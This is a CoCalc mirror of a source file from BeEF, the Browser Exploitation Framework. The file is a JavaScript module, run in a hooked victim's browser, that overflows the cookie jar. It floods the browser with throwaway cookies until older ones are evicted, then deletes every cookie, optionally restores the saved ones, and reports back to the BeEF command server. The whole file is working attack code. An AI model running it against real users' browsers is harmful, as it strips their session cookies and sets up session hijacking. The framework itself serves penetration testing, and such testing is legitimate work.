Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/hooked_origin/overflow_cookiejar/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var preserveCookies = '<%= @preserveCookies %>'
9
10
var initialtimestamp;
11
var currenttimestamp;
12
var i = 0;
13
var preservedCookies;
14
15
function setCookie(cname,cvalue){
16
document.cookie = cname + "=" + cvalue;
17
}
18
19
function getCookie(cname){
20
var name = cname + "=";
21
var ca = document.cookie.split(';');
22
23
for(var i=0; i<ca.length; i++){
24
var c = ca[i].trim();
25
if (c.indexOf(name)==0) return c.substring(name.length,c.length);
26
}
27
return "";
28
}
29
30
function deleteAllCookies(){
31
var cookies = document.cookie.split(";");
32
33
if (cookies.length > 0){
34
var cookie = cookies[0];
35
var eqPos = cookie.indexOf("=");
36
var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie;
37
38
document.cookie = name + "=;expires=Thu, 01 Jan 1970 00:00:00 GMT";
39
if (cookies.length > 1){
40
//Timeout needed because otherwise cookie write loop freezes render thread
41
setTimeout(deleteAllCookies,1);
42
}
43
else{
44
if (preserveCookies){
45
var pc = preservedCookies.split(';');
46
47
for(var i=0; i<pc.length; i++){
48
var c = pc[i].trim();
49
document.cookie = c;
50
}
51
}
52
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'Attempt to overflow the Cookie Jar completed');
53
}
54
}
55
}
56
57
function overflowCookie() {
58
if(getCookie(initialtimestamp) === "BeEF") {
59
currenttimestamp = Date.now();
60
setCookie(currenttimestamp,"BeEF");
61
//Timeout needed because otherwise cookie write loop freezes render thread
62
setTimeout(overflowCookie, 1);
63
}
64
else{
65
deleteAllCookies();
66
}
67
}
68
69
function overflowCookieJar(){
70
preservedCookies = document.cookie;
71
initialtimestamp = Date.now();
72
setCookie(initialtimestamp,"BeEF");
73
overflowCookie();
74
}
75
76
overflowCookieJar();
77
78
});
79
80
81